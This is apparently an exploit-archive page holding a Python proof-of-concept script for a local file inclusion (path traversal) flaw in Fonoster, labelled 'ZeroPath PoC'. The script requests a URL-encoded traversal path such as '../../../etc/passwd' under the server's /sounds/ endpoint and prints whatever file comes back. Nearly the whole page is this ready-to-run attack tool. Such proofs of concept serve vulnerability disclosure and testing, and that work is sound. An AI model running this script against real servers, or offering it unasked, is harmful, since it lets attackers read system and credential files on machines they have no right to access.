4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / fonoster_lfi_poc.py PY
#!/usr/bin/env python3

import argparse
import requests
import urllib.parse

def retrieve_file(url, file_path):
    encoded_path = urllib.parse.quote_plus(file_path)
    full_url = f"{url}/sounds/{encoded_path}"
    
    headers = {
        'User-Agent': 'ZeroPath PoC',
        'Accept': '*/*',
    }

    print(f"[*] Generated URL: {full_url}")
    
    response = requests.get(full_url, headers=headers)
    return response.status_code, response.text

def main():
    parser = argparse.ArgumentParser(description='Fonoster LFI PoC')
    parser.add_argument('--url', required=True, help='Fonoster server URL (e.g., http://localhost:3000)')
    parser.add_argument('--path', required=True, help='File path to retrieve (e.g., ../../../etc/passwd)')

    args = parser.parse_args()

    print("[!] Fonoster LFI PoC")
    print(f"[*] Target URL: {args.url}")
    print(f"[*] Attempting to retrieve file: {args.path}")

    status_code, response_text = retrieve_file(args.url, args.path)
    
    print(f"[*] Response Status Code: {status_code}")
    
    if status_code == 200:
        print("[+] File retrieved successfully!")
        print("[*] File contents:")
        print(response_text)
    else:
        print("[-] File retrieval failed.")
        print("[*] Response:")
        print(response_text)

if __name__ == "__main__":
    main()